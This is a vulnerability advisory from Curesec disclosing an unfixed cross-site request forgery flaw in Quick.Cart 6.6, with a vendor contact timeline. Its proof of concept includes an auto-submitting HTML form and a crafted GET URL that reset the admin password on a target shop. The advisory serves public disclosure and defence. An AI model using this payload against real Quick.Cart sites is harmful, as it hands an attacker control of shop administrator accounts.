
Quick.Cart 6.6: CSRF
Date: 2015-10-07 16:05:031. Introduction
Affected Product: | Quick.Cart 6.6 |
Fixed in: | not fixed |
Fixed Version Link: | n/a |
Vendor Contact: | info@opensolution.org |
Vulnerability Type: | CSRF |
Remote Exploitable: | Yes |
Reported to vendor: | 09/07/2015 |
Disclosed to public: | 10/07/2015 |
Release mode: | Full Disclosure |
CVE: | n/a |
Credits | Tim Coen of Curesec GmbH |
2. Description
None of the requests of Quick.Cart 6.6 are protected from CSRF. This means that an attacker can perform actions for a logged in user by getting them to visit a website with specifically crafted HTML and JavaScript while logged in.
The interesting Forms are all in the admin.php file. To add security through obscurity, Quick.Cart does suggest to rename this file, which would make it more difficult to exploit these vulnerabilities. The renaming is not mandatory.
The vulnerability can be exploited via GET or POST because of a call to extract: extract( $_GET );
3. Proof of Concept
Change Admin Password:
<html>
<body>
<form id="myform" action="http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config" method="POST">
<input type="hidden" name="sOption" value="save �»" />
<input type="hidden" name="login" value="admin" />
<input type="hidden" name="pass" value="admin" />
<input type="submit" value="Submit request" />
</form>
<script>document.createElement('form').submit.call(document.getElementById('myform'));</script>
</body>
</html>
Or via GET:
http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config&_POST[sOption]=save%20%26raquo%3B&_POST[login]=admin&_POST[pass]=123&_POST[submit]=Submit%20request
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
09/07/2015 | Informed Vendor about Issue |
10/01/2015 | Reminded Vendor of release date |
10/01/2015 | Vendor does not plan on releasing a fix, because the optional rename of the admin file may mitigate this issue already |
10/07/2015 | Disclosed to public |